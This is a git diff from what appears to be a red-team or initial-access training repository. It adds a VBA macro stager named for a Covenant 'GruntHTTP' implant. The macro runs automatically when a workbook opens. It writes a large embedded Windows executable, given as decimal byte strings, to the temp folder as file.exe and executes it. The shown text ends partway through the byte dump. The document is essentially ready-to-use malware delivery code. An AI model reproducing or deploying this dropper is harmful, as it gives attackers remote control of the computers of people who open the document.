z<2sRgvYvHX?SHYf#c3nI)+X_AXIcQti1Hek4R-x{O1`%viOcESXeZxumd;604L74a zsNJfU4z{T_^PY$ruwImlU$mCuH{TwY3!3+;xgipJuA`mP(34(S&nV0nHMZ<8PYxbz zE{v*?8?=7a;e@c*&p$EChqc1($7x&})j5RPe7tPNh(yE3Vsn29c`&~V+Vs+ z&ECnQcg@weB;3%94W*5oZ3k$n5?+C#y!c#eH(Y(I6vm(U-sh9m0#X>Bt0~ZU=Y3Y4 zz4B5zQ%+yFBKo^(_O~Tj)zp9hfE@tjxPkzzSbyuz!W@Jg}Xs((ft_dT*jf!U*q<4VZPM*wk=bj zcoxwLNlhgGHNAI(!}D?m;tdZeGiG{jJZ5OjO7A~;F=Ib)%rFNuggkYGra-?jdPNkm z#bdQelsJBMJQh(wlkw^p4=&3-`q{PJu5;$9UYV3vi{{@6*jh=M!2~QXD$P0|ChxOO zWXi-2v9F~5I`H`5Zh`$~#$x=O#PA*Pn_#9@0F{#4BklTcVZ3j>c8pp?R21?=8$3Rb z&F-;MYb>q|i=N*NDo{}JG!rn=ks$x9ki-C&C|P}O=vpwaYIkAKT+MNIa>XOMAzbv+ zNkf5fpVlrk;hgyI49{K{N|k`ODi|REK=r%f*`v|_Z+HKmYk3)}-g5}Dm>-0v>||fz za$k+fBC8y9%nxhqff)_12IY=LwLI}v>EEYP8%D-wg13@aLjq4VbicC5+a0EjbQveC z71M%2a1Vw*vI3{S+Jw=8GobZ9#Z`DyB9`%~EN?wyp>gt!0BeJ)H1r;u-75Ahl59fC z)r@w2VOo~?;f!K-U6Ps2rXcuSS=;;s%>j`f&)%dJDDS*u#7_RIg!OpOCqSR9YNGLR z^V`_tC#Nso$~mC0$6+;#S$T<%HXD$3wIwB@S$U1_9?5ai#M_?&LA(n@TWtL`b;&+V z^;`EQqRMhe{lf!2&5MscsfhA!9`fCwiGM>hH=a~)q;prf>pV#WP?UkniFK4a8uU2Q z6w@YTSpUR{B(Ps%@mcR7ymXi08@tijC-<`l@zYRtF49}xZ}7V9Q=?P<5Y`V)xb&FY zzdpveKGgXT=mD{v3Q{tin{>jSfDN~m$j24ECC)gVzUJ1%olYFIArvlG4nO|d4>k!C zJ+X0>fyh4+n2=kH6y@c}OAz!i)U^&z1Qv;C7Nf!T)6ZJBhy)BJ;hf zF(;nJK3)*Uzt91Z|Bn!UZqCmBeqw(f#Q#p34hE`LL%e_Z#POdu(F(5_UKM{gXHVyU z?*EoRP*DV`6fedtyykemzqMKVKMDBx2cew({*Je1VVzMy7#<-D#D~7$TLsgf&<76o z_*m%f?C3A*aL?;MN8zuL^LKba4gm1K;^=?E|LXsKhwtV72LG2gG}Z&-6$AiC@LMQe K-Pig5xcV<6O?T`7 literal 0 HcmV?d00001 diff --git a/2-4-initial-access-malware/GruntHTTP-vba-stager.txt b/2-4-initial-access-malware/GruntHTTP-vba-stager.txt new file mode 100644 index 0000000..cdb5c7a --- /dev/null +++ b/2-4-initial-access-malware/GruntHTTP-vba-stager.txt @@ -0,0 +1,451 @@ +Sub Workbook_Open() + Dim strFile + + strFile = TempFilename + DumpFile strFile + RunFile strFile +End Sub + +Function TempFilename() + Dim objFSO + + Set objFSO = CreateObject("Scripting.FileSystemObject") + TempFilename = objFSO.BuildPath(objFSO.GetSpecialFolder(2), "file.exe") +End Function + +Sub RunFile(strFilename) + Dim sh + + Set sh = CreateObject("WScript.Shell") + sh.Run strFilename +End Sub + +Sub WriteBytes(objFile, strBytes) + Dim aNumbers + Dim iIter + + aNumbers = split(strBytes) + for iIter = lbound(aNumbers) to ubound(aNumbers) + objFile.Write Chr(aNumbers(iIter)) + next +End Sub + +Sub DumpFile1(objFile) + WriteBytes objFile, "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205" + WriteBytes objFile, "33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111" + WriteBytes objFile, "116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10" + WriteBytes objFile, "36 0 0 0 0 0 0 0 80 69 0 0 76 1 2 0 78 220 111 102 0 0 0 0 0 0 0 0 224 0 34 0 11 1" + WriteBytes objFile, "48 0 0 42 0 0 0 2 0 0 0 0 0 0 34 72 0 0 0 32 0 0 0 96 0 0 0 0 64 0 0 32 0 0 0 2 0" + WriteBytes objFile, "0 4 0 0 0 0 0 0 0 4 0 0 0 0 0 0 0 0 128 0 0 0 2 0 0 0 0 0 0 3 0 64 133 0 0 16 0 0" + WriteBytes objFile, "16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 208 71 0 0 79 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 0 0 12 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0" + WriteBytes objFile, "0 8 0 0 0 0 0 0 0 0 0 0 0 8 32 0 0 72 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0" + WriteBytes objFile, "0 40 40 0 0 0 32 0 0 0 42 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 101" + WriteBytes objFile, "108 111 99 0 0 12 0 0 0 0 96 0 0 0 2 0 0 0 44 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 72 0 0 0 0 0 0 72 0 0 0 2 0 5 0 132 45 0 0 76 26 0" + WriteBytes objFile, "0 1 0 0 0 2 0 0 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 2 40 6 0 0 10 2 40 4 0 0 6 42 30 115 1 0 0 6 38" + WriteBytes objFile, "42 0 0 27 48 6 0 184 9 0 0 1 0 0 17 115 13 0 0 6 10 114 1 0 0 112 23 141 26 0 0 1" + WriteBytes objFile, "37 22 31 44 157 40 7 0 0 10 40 1 0 0 43 11 6 114 51 0 0 112 125 3 0 0 4 114 53 0 0" + WriteBytes objFile, "112 23 141 26 0 0 1 37 22 31 44 157 40 7 0 0 10 40 1 0 0 43 126 6 0 0 4 37 45 23 38" + WriteBytes objFile, "126 5 0 0 4 254 6 17 0 0 6 115 9 0 0 10 37 128 6 0 0 4 40 2 0 0 43 40 1 0 0 43 12" + WriteBytes objFile, "114 87 0 0 112 23 141 26 0 0 1 37 22 31 44 157 40 7 0 0 10 40 1 0 0 43 126 7 0 0 4" + WriteBytes objFile, "37 45 23 38 126 5 0 0 4 254 6 18 0 0 6 115 9 0 0 10 37 128 7 0 0 4 40 2 0 0 43 40" + WriteBytes objFile, "1 0 0 43 13 114 106 1 0 112 23 141 26 0 0 1 37 22 31 44 157 40 7 0 0 10 40 1 0 0 43" + WriteBytes objFile, "126 8 0 0 4 37 45 23 38 126 5 0 0 4 254 6 19 0 0 6 115 9 0 0 10 37 128 8 0 0 4 40" + WriteBytes objFile, "2 0 0 43 40 1 0 0 43 19 4 114 129 2 0 112 40 11 0 0 10 114 50 3 0 112 40 12 0 0 10" + WriteBytes objFile, "19 5 114 54 3 0 112 40 11 0 0 10 114 50 3 0 112 40 12 0 0 10 19 6 6 114 105 4 0 112" + WriteBytes objFile, "40 13 0 0 10 125 4 0 0 4 6 114 105 4 0 112 40 13 0 0 10 125 2 0 0 4 115 14 0 0 10" + WriteBytes objFile, "19 7 114 117 4 0 112 19 8 40 15 0 0 10 19 36 18 36 254 22 12 0 0 1 111 16 0 0 10 114" + WriteBytes objFile, "139 4 0 112 114 51 0 0 112 111 12 0 0 10 22 31 10 111 17 0 0 10 19 9 114 143 4 0 112" + WriteBytes objFile, "40 18 0 0 10 19 10 114 233 4 0 112 19 11 40 19 0 0 10 19 12 17 12 23 111 20 0 0 10" + WriteBytes objFile, "17 12 24 111 21 0 0 10 17 12 17 10 111 22 0 0 10 17 12 111 23 0 0 10 17 10 115 24" + WriteBytes objFile, "0 0 10 19 13 32 0 8 0 0 115 25 0 0 10 115 26 0 0 10 19 14 40 27 0 0 10 17 14 22 111" + WriteBytes objFile, "28 0 0 10 111 29 0 0 10 19 15 17 12 111 30 0 0 10 17 15 22 17 15 142 105 111 31 0" + WriteBytes objFile, "0 10 19 16 17 13 17 16 111 32 0 0 10 19 17 17 11 28 141 5 0 0 1 37 22 17 8 17 9 40" + WriteBytes objFile, "33 0 0 10 162 37 23 114 158 5 0 112 162 37 24 114 51 0 0 112 162 37 25 17 12 111 34" + WriteBytes objFile, "0 0 10 40 35 0 0 10 162 37 26 17 16 40 35 0 0 10 162 37 27 17 17 40 35 0 0 10 162" + WriteBytes objFile, "40 36 0 0 10 19 18 32 240 0 0 0 40 37 0 0 10 6 254 6 14 0 0 6 115 38 0 0 10 40 39" + WriteBytes objFile, "0 0 10 40 27 0 0 10 17 18 111 29 0 0 10 40 11 0 0 6 19 19 20 19 20 115 8 0 0 6 19" + WriteBytes objFile, "20 17 20 23 111 40 0 0 10 17 20 40 41 0 0 10 111 42 0 0 10 17 20 111 43 0 0 10 40" + WriteBytes objFile, "44 0 0 10 111 45 0 0 10 114 51 0 0 112 19 21 7 111 46 0 0 10 19 37 56 228 0 0 0 18" + WriteBytes objFile, "37 40 47 0 0 10 19 38 22 19 39 56 138 0 0 0 8 17 39 111 48 0 0 10 114 162 5 0 112" + WriteBytes objFile, "40 49 0 0 10 44 54 17 20 17 38 115 50 0 0 10 9 17 39 111 48 0 0 10 114 176 5 0 112" + WriteBytes objFile, "114 180 5 0 112 111 12 0 0 10 114 184 5 0 112 114 51 0 0 112 111 12 0 0 10 111 9 0" + WriteBytes objFile, "0 6 43 58 17 20 111 51 0 0 10 8 17 39 111 48 0 0 10 114 184 5 0 112 114 51 0 0 112" + WriteBytes objFile, "111 12 0 0 10 9 17 39 111 48 0 0 10 114 184 5 0 112 114 51 0 0 112 111 12 0 0 10 111" + WriteBytes objFile, "52 0 0 10 17 39 23 88 19 39 17 39 9 111 53 0 0 10 63 105 255 255 255 17 20 17 38 17" + WriteBytes objFile, "4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5 0 112 114 51 0 0 112" + WriteBytes objFile, "111 12 0 0 10 40 33 0 0 10 111 55 0 0 10 38 17 38 19 21 222 3 38 222 0 18 37 40 56" + WriteBytes objFile, "0 0 10 58 16 255 255 255 222 14 18 37 254 22 3 0 0 27 111 57 0 0 10 220 22 19 40 56" + WriteBytes objFile, "129 0 0 0 8 17 40 111 48 0 0 10 114 162 5 0 112 40 49 0 0 10 44 51 17 20 17 21 115" + WriteBytes objFile, "50 0 0 10 9 17 40 111 48 0 0 10 114 176 5 0 112 114 180 5 0 112 111 12 0 0 10 114" + WriteBytes objFile, "184 5 0 112 17 9 111 12 0 0 10 111 9 0 0 6 43 52 17 20 111 51 0 0 10 8 17 40 111 48" + WriteBytes objFile, "0 0 10 114 184 5 0 112 17 9 111 12 0 0 10 9 17 40 111 48 0 0 10 114 184 5 0 112 17" + WriteBytes objFile, "9 111 12 0 0 10 111 52 0 0 10 17 40 23 88 19 40 17 40 9 111 53 0 0 10 63 114 255 255" + WriteBytes objFile, "255 17 20 17 21 17 4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5" + WriteBytes objFile, "0 112 17 9 111 12 0 0 10 40 33 0 0 10 17 5 17 19 40 58 0 0 10 111 59 0 0 10 17 6 40" + WriteBytes objFile, "5 0 0 6 22 111 48 0 0 10 19 22 40 27 0 0 10 17 22 40 12 0 0 6 111 60 0 0 10 19 22" + WriteBytes objFile, "17 22 17 11 40 5 0 0 6 37 25 111 48 0 0 10 19 23 37 26 111 48 0 0 10 19 24 27 111" + WriteBytes objFile, "48 0 0 10 17 24 40 18 0 0 10 19 25 17 13 17 25 111 32 0 0 10 40 35 0 0 10 40 61 0" + WriteBytes objFile, "0 10 44 5 221 188 4 0 0 17 12 17 23 40 18 0 0 10 111 62 0 0 10 17 12 111 63 0 0 10" + WriteBytes objFile, "17 25 22 17 25 142 105 111 31 0 0 10 19 26 17 14 17 26 23 111 64 0 0 10 19 27 40 19" + WriteBytes objFile, "0 0 10 19 28 17 28 23 111 20 0 0 10 17 28 24 111 21 0 0 10 17 28 17 27 111 22 0 0" + WriteBytes objFile, "10 17 28 111 23 0 0 10 17 28 111 65 0 0 10 115 24 0 0 10 19 13 26 141 51 0 0 1 19" + WriteBytes objFile, "29 40 66 0 0 10 17 29 111 67 0 0 10 17 28 111 30 0 0 10 17 29 22 17 29 142 105 111" + WriteBytes objFile, "31 0 0 10 19 30 17 13 17 30 111 32 0 0 10 19 17 17 11 28 141 5 0 0 1 37 22 17 9 162" + WriteBytes objFile, "37 23 114 198 5 0 112 162 37 24 114 51 0 0 112 162 37 25 17 28 111 34 0 0 10 40 35" + WriteBytes objFile, "0 0 10 162 37 26 17 30 40 35 0 0 10 162 37 27 17 17 40 35 0 0 10 162 40 36 0 0 10" + WriteBytes objFile, "19 31 40 27 0 0 10 17 31 111 29 0 0 10 40 11 0 0 6 19 19 22 19 41 56 129 0 0 0 8 17" + WriteBytes objFile, "41 111 48 0 0 10 114 162 5 0 112 40 49 0 0 10 44 51 17 20 17 21 115 50 0 0 10 9 17" + WriteBytes objFile, "41 111 48 0 0 10 114 176 5 0 112 114 180 5 0 112 111 12 0 0 10 114 184 5 0 112 17" + WriteBytes objFile, "9 111 12 0 0 10 111 9 0 0 6 43 52 17 20 111 51 0 0 10 8 17 41 111 48 0 0 10 114 184" + WriteBytes objFile, "5 0 112 17 9 111 12 0 0 10 9 17 41 111 48 0 0 10 114 184 5 0 112 17 9 111 12 0 0 10" + WriteBytes objFile, "111 52 0 0 10 17 41 23 88 19 41 17 41 9 111 53 0 0 10 63 114 255 255 255 17 20 17" + WriteBytes objFile, "21 17 4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5 0 112 17 9 111" + WriteBytes objFile, "12 0 0 10 40 33 0 0 10 17 5 17 19 40 58 0 0 10 111 59 0 0 10 17 6 40 5 0 0 6 22 111" + WriteBytes objFile, "48 0 0 10 19 22 40 27 0 0 10 17 22 40 12 0 0 6 111 60 0 0 10 19 22 17 22 17 11 40" + WriteBytes objFile, "5 0 0 6 37 25 111 48 0 0 10 19 23 37 26 111 48 0 0 10 19 24 27 111 48 0 0 10 17 24" + WriteBytes objFile, "40 18 0 0 10 19 25 17 13 17 25 111 32 0 0 10 40 35 0 0 10 40 61 0 0 10 44 5 221 150" + WriteBytes objFile, "2 0 0 17 28 17 23 40 18 0 0 10 111 62 0 0 10 17 28 111 63 0 0 10 17 25 22 17 25 142" + WriteBytes objFile, "105 111 31 0 0 10 26 141 51 0 0 1 19 32 26 141 51 0 0 1 19 33 37 22 17 32 22 26 40" + WriteBytes objFile, "68 0 0 10 26 17 33 22 26 40 68 0 0 10 17 29 40 35 0 0 10 17 32 40 35 0 0 10 40 61" + WriteBytes objFile, "0 0 10 44 5 221 54 2 0 0 17 28 111 23 0 0 10 17 28 111 30 0 0 10 17 33 22 17 33 142" + WriteBytes objFile, "105 111 31 0 0 10 19 34 17 13 17 34 111 32 0 0 10 19 17 17 11 28 141 5 0 0 1 37 22" + WriteBytes objFile, "17 9 162 37 23 114 202 5 0 112 162 37 24 114 51 0 0 112 162 37 25 17 28 111 34 0 0" + WriteBytes objFile, "10 40 35 0 0 10 162 37 26 17 34 40 35 0 0 10 162 37 27 17 17 40 35 0 0 10 162 40 36" + WriteBytes objFile, "0 0 10 19 35 40 27 0 0 10 17 35 111 29 0 0 10 40 11 0 0 6 19 19 22 19 42 56 129 0" + WriteBytes objFile, "0 0 8 17 42 111 48 0 0 10 114 162 5 0 112 40 49 0 0 10 44 51 17 20 17 21 115 50 0" + WriteBytes objFile, "0 10 9 17 42 111 48 0 0 10 114 176 5 0 112 114 180 5 0 112 111 12 0 0 10 114 184 5" + WriteBytes objFile, "0 112 17 9 111 12 0 0 10 111 9 0 0 6 43 52 17 20 111 51 0 0 10 8 17 42 111 48 0 0" + WriteBytes objFile, "10 114 184 5 0 112 17 9 111 12 0 0 10 9 17 42 111 48 0 0 10 114 184 5 0 112 17 9 111" + WriteBytes objFile, "12 0 0 10 111 52 0 0 10 17 42 23 88 19 42 17 42 9 111 53 0 0 10 63 114 255 255 255" + WriteBytes objFile, "17 20 17 21 17 4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5 0 112" + WriteBytes objFile, "17 9 111 12 0 0 10 40 33 0 0 10 17 5 17 19 40 58 0 0 10 111 59 0 0 10 17 6 40 5 0" + WriteBytes objFile, "0 6 22 111 48 0 0 10 19 22 40 27 0 0 10 17 22 40 12 0 0 6 111 60 0 0 10 19 22 17 22" + WriteBytes objFile, "17 11 40 5 0 0 6 37 25 111 48 0 0 10 19 23 37 26 111 48 0 0 10 19 24 27 111 48 0 0" + WriteBytes objFile, "10 17 24 40 18 0 0 10 19 25 17 13 17 25 111 32 0 0 10 40 35 0 0 10 40 61 0 0 10 44" + WriteBytes objFile, "5 221 129 0 0 0 17 28 17 23 40 18 0 0 10 111 62 0 0 10 17 28 111 63 0 0 10 17 25 22" + WriteBytes objFile, "17 25 142 105 111 31 0 0 10 40 69 0 0 10 111 70 0 0 10 22 154 111 71 0 0 10 22 154" + WriteBytes objFile, "20 26 141 5 0 0 1 37 22 17 21 162 37 23 6 123 3 0 0 4 162 37 24 17 9 162 37 25 17" +End Sub + +Sub DumpFile2(objFile) + WriteBytes objFile, "28 162 111 72 0 0 10 38 222 38 19 43 40 73 0 0 10 17 43 111 74 0 0 10 40 11 0 0 10" + WriteBytes objFile, "17 43 111 75 0 0 10 40 76 0 0 10 111 77 0 0 10 222 0 42 65 76 0 0 0 0 0 0 208 2 0" + WriteBytes objFile, "0 216 0 0 0 168 3 0 0 3 0 0 0 5 0 0 1 2 0 0 0 194 2 0 0 247 0 0 0 185 3 0 0 14 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 145 9 0 0 145 9 0 0 38 0 0 0 14 0 0 1 19 48 3 0 18 2 0 0" + WriteBytes objFile, "2 0 0 17 3 40 78 0 0 10 114 206 5 0 112 114 212 5 0 112 111 12 0 0 10 114 216 5 0" + WriteBytes objFile, "112 114 212 5 0 112 111 12 0 0 10 114 222 5 0 112 114 228 5 0 112 111 12 0 0 10 16" + WriteBytes objFile, "1 3 114 232 5 0 112 111 79 0 0 10 44 18 3 114 232 5 0 112 114 240 5 0 112 111 12 0" + WriteBytes objFile, "0 10 16 1 3 114 12 6 0 112 111 79 0 0 10 44 18 3 114 12 6 0 112 114 20 6 0 112 111" + WriteBytes objFile, "12 0 0 10 16 1 3 114 48 6 0 112 111 79 0 0 10 44 18 3 114 48 6 0 112 114 56 6 0 112" + WriteBytes objFile, "111 12 0 0 10 16 1 3 114 84 6 0 112 111 79 0 0 10 44 18 3 114 84 6 0 112 114 92 6" + WriteBytes objFile, "0 112 111 12 0 0 10 16 1 3 114 120 6 0 112 111 79 0 0 10 44 18 3 114 120 6 0 112 114" + WriteBytes objFile, "128 6 0 112 111 12 0 0 10 16 1 3 114 156 6 0 112 111 79 0 0 10 44 18 3 114 156 6 0" + WriteBytes objFile, "112 114 164 6 0 112 111 12 0 0 10 16 1 3 115 80 0 0 10 2 40 81 0 0 10 10 115 82 0" + WriteBytes objFile, "0 10 11 6 111 83 0 0 10 114 192 6 0 112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114" + WriteBytes objFile, "192 6 0 112 111 84 0 0 10 111 85 0 0 10 111 86 0 0 10 6 111 83 0 0 10 114 206 6 0" + WriteBytes objFile, "112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114 206 6 0 112 111 84 0 0 10 111 85 0 0" + WriteBytes objFile, "10 111 86 0 0 10 6 111 83 0 0 10 114 220 6 0 112 111 84 0 0 10 44 27 7 6 111 83 0" + WriteBytes objFile, "0 10 114 220 6 0 112 111 84 0 0 10 111 85 0 0 10 111 86 0 0 10 6 111 83 0 0 10 114" + WriteBytes objFile, "234 6 0 112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114 234 6 0 112 111 84 0 0 10 111" + WriteBytes objFile, "85 0 0 10 111 86 0 0 10 6 111 83 0 0 10 114 248 6 0 112 111 84 0 0 10 44 27 7 6 111" + WriteBytes objFile, "83 0 0 10 114 248 6 0 112 111 84 0 0 10 111 85 0 0 10 111 86 0 0 10 6 111 83 0 0 10" + WriteBytes objFile, "114 6 7 0 112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114 6 7 0 112 111 84 0 0 10 111" + WriteBytes objFile, "85 0 0 10 111 86 0 0 10 7 42 30 2 123 1 0 0 4 42 34 2 3 125 1 0 0 4 42 74 2 40 87" + WriteBytes objFile, "0 0 10 2 115 88 0 0 10 40 7 0 0 6 42 58 2 40 6 0 0 6 3 4 111 89 0 0 10 42 0 0 0 19" + WriteBytes objFile, "48 2 0 38 0 0 0 3 0 0 17 2 3 40 90 0 0 10 117 21 0 0 1 10 6 45 8 2 3 40 90 0 0 10" + WriteBytes objFile, "42 6 2 40 6 0 0 6 111 91 0 0 10 6 42 30 2 40 35 0 0 10 42 30 2 40 18 0 0 10 42 30" + WriteBytes objFile, "2 40 6 0 0 10 42 0 0 19 48 2 0 64 0 0 0 4 0 0 17 23 10 2 123 2 0 0 4 44 36 2 123 3" + WriteBytes objFile, "0 0 4 114 51 0 0 112 40 61 0 0 10 44 18 4 111 92 0 0 10 2 123 3 0 0 4 40 49 0 0 10" + WriteBytes objFile, "10 6 2 123 4 0 0 4 95 44 6 14 4 22 254 1 10 6 42 46 115 16 0 0 6 128 5 0 0 4 42 70" + WriteBytes objFile, "40 27 0 0 10 3 40 18 0 0 10 111 60 0 0 10 42 0 0 66 83 74 66 1 0 1 0 0 0 0 0 12 0" + WriteBytes objFile, "0 0 118 52 46 48 46 51 48 51 49 57 0 0 0 0 5 0 108 0 0 0 196 6 0 0 35 126 0 0 48 7" + WriteBytes objFile, "0 0 48 9 0 0 35 83 116 114 105 110 103 115 0 0 0 0 96 16 0 0 20 7 0 0 35 85 83 0 116" + WriteBytes objFile, "23 0 0 16 0 0 0 35 71 85 73 68 0 0 0 132 23 0 0 200 2 0 0 35 66 108 111 98 0 0 0 0" + WriteBytes objFile, "0 0 0 2 0 0 1 87 21 162 9 9 10 0 0 0 250 1 51 0 22 0 0 1 0 0 0 64 0 0 0 6 0 0 0 8" + WriteBytes objFile, "0 0 0 19 0 0 0 16 0 0 0 92 0 0 0 9 0 0 0 4 0 0 0 1 0 0 0 1 0 0 0 2 0 0 0 3 0 0 0 1" + WriteBytes objFile, "0 0 0 3 0 0 0 4 0 0 0 2 0 0 0 0 0 245 2 1 0 0 0 0 0 6 0 154 2 106 6 6 0 186 2 106" + WriteBytes objFile, "6 6 0 134 2 72 6 15 0 138 6 0 0 6 0 205 7 105 4 6 0 88 2 105 4 6 0 98 0 253 0 6 0" + WriteBytes objFile, "165 4 105 4 6 0 102 6 160 8 6 0 163 0 160 8 6 0 97 5 160 8 6 0 67 1 105 4 31 0 246" + WriteBytes objFile, "5 0 0 6 0 53 5 105 4 10 0 174 3 85 7 10 0 246 7 219 7 6 0 107 2 106 6 10 0 206 5 219" + WriteBytes objFile, "7 10 0 209 3 105 4 10 0 93 8 219 7 10 0 75 8 219 7 6 0 65 2 181 6 10 0 219 4 181 6" + WriteBytes objFile, "10 0 153 7 234 8 6 0 136 0 105 4 6 0 92 5 105 4 6 0 144 3 105 4 14 0 195 1 80 5 6" + WriteBytes objFile, "0 84 0 253 0 6 0 0 8 105 4 6 0 206 4 105 4 6 0 67 8 105 4 6 0 112 4 160 8 6 0 149" + WriteBytes objFile, "1 160 8 6 0 137 1 160 8 6 0 139 7 160 8 6 0 18 3 120 8 6 0 131 4 160 8 6 0 189 4 160" + WriteBytes objFile, "8 6 0 151 4 160 8 10 0 136 5 219 7 10 0 255 1 219 7 10 0 217 3 234 8 10 0 18 9 219" + WriteBytes objFile, "7 10 0 172 1 219 7 10 0 57 4 219 7 10 0 247 6 219 7 10 0 33 5 219 7 10 0 253 4 33" + WriteBytes objFile, "1 6 0 206 1 105 4 6 0 224 2 105 4 6 0 1 6 160 8 6 0 129 5 105 4 6 0 138 8 105 4 6" + WriteBytes objFile, "0 189 8 235 4 6 0 15 2 105 4 6 0 63 5 235 4 6 0 40 2 235 4 6 0 218 1 105 4 6 0 222" + WriteBytes objFile, "5 198 0 10 0 132 8 85 7 10 0 17 5 85 7 10 0 74 5 85 7 10 0 32 2 85 7 0 0 0 0 187 0" + WriteBytes objFile, "0 0 0 0 1 0 1 0 1 0 16 0 170 5 170 5 21 0 1 0 1 0 2 0 16 0 240 7 0 0 65 0 1 0 6 0" + WriteBytes objFile, "130 1 16 0 172 4 0 0 21 0 2 0 11 0 3 1 16 0 32 0 0 0 21 0 2 0 13 0 3 33 16 0 249 0" + WriteBytes objFile, "0 0 21 0 5 0 15 0 1 0 72 1 81 2 6 0 27 3 85 2 6 0 192 3 88 2 6 0 42 8 85 2 54 0 183" + WriteBytes objFile, "0 91 2 22 0 1 0 95 2 22 0 53 0 95 2 22 0 105 0 95 2 80 32 0 0 0 0 134 24 23 6 6 0" + WriteBytes objFile, "1 0 94 32 0 0 0 0 150 0 214 4 103 2 1 0 94 32 0 0 0 0 150 0 216 2 109 2 2 0 104 32" + WriteBytes objFile, "0 0 0 0 134 0 156 5 6 0 2 0 120 42 0 0 0 0 150 0 59 2 113 2 2 0 150 44 0 0 0 0 134" + WriteBytes objFile, "8 182 5 123 2 4 0 158 44 0 0 0 0 129 8 202 5 62 2 4 0 167 44 0 0 0 0 134 24 23 6 6" + WriteBytes objFile, "0 5 0 186 44 0 0 0 0 134 0 153 6 43 2 5 0 204 44 0 0 0 0 196 0 90 8 55 2 7 0 254 44" + WriteBytes objFile, "0 0 0 0 150 0 196 4 36 1 8 0 6 45 0 0 0 0 150 0 60 8 203 0 9 0 14 45 0 0 0 0 134 24" + WriteBytes objFile, "23 6 6 0 10 0 24 45 0 0 0 0 131 0 143 0 128 2 10 0 100 45 0 0 0 0 145 24 29 6 109" + WriteBytes objFile, "2 14 0 14 45 0 0 0 0 134 24 23 6 6 0 14 0 112 45 0 0 0 0 131 0 10 0 164 1 14 0 112" + WriteBytes objFile, "45 0 0 0 0 131 0 62 0 164 1 15 0 112 45 0 0 0 0 131 0 114 0 164 1 16 0 0 0 1 0 242" + WriteBytes objFile, "6 0 0 1 0 235 0 0 0 2 0 198 7 0 0 1 0 239 2 0 0 1 0 213 3 0 0 2 0 164 6 0 0 1 0 176" + WriteBytes objFile, "7 0 0 1 0 236 6 0 0 1 0 68 6 0 0 1 0 122 5 0 0 2 0 55 8 0 0 3 0 229 4 0 0 4 0 169" + WriteBytes objFile, "7 0 0 1 0 196 0 0 0 1 0 196 0 0 0 1 0 208 0 9 0 23 6 1 0 17 0 23 6 6 0 25 0 23 6 10" + WriteBytes objFile, "0 49 0 23 6 6 0 137 0 23 6 6 0 41 0 23 6 6 0 217 0 234 7 104 0 225 0 104 8 111 0 12" + WriteBytes objFile, "0 23 6 138 0 225 0 212 7 144 0 241 0 236 1 173 0 217 0 105 1 177 0 249 0 59 2 183" + WriteBytes objFile, "0 65 0 23 6 6 0 97 0 64 1 188 0 41 0 132 3 193 0 217 0 151 3 197 0 1 1 42 3 203 0" + WriteBytes objFile, "73 0 81 2 209 0 9 1 128 1 214 0 9 1 6 3 221 0 9 1 152 8 228 0 9 1 224 0 6 0 81 0 23" + WriteBytes objFile, "6 228 0 33 1 23 6 6 0 89 0 23 6 234 0 41 1 174 0 242 0 49 1 120 3 248 0 41 1 227 6" + WriteBytes objFile, "253 0 9 1 52 6 3 1 57 1 37 4 9 1 65 1 180 3 18 1 217 0 184 7 25 1 9 1 210 0 31 1 1" + WriteBytes objFile, "1 59 3 36 1 217 0 191 7 42 1 73 1 75 4 49 1 89 1 23 6 138 0 73 1 253 3 56 1 129 0" + WriteBytes objFile, "50 7 63 1 161 0 28 9 68 1 129 0 8 9 74 1 129 0 254 8 81 1 105 1 20 7 87 1 97 1 4 7" + WriteBytes objFile, "93 1 20 0 243 5 106 1 28 0 12 8 121 1 20 0 96 4 126 1 217 0 208 8 132 1 153 0 23 6" + WriteBytes objFile, "138 1 129 0 127 7 143 1 137 1 230 7 149 1 20 0 24 8 155 1 65 0 115 8 159 1 129 0 74" + WriteBytes objFile, "3 164 1 28 0 111 8 169 1 145 1 51 2 6 0 217 0 191 7 173 1 129 0 89 3 177 0 41 1 141" + WriteBytes objFile, "3 179 1 217 0 220 8 132 1 9 1 217 0 228 0 9 1 36 6 3 1 89 0 34 8 185 1 9 1 144 8 31" + WriteBytes objFile, "1 161 1 81 2 193 1 161 1 227 6 228 0 169 1 198 8 199 1 185 1 24 1 212 1 185 1 172" + WriteBytes objFile, "6 220 1 193 1 91 6 227 1 209 1 188 1 234 1 217 1 233 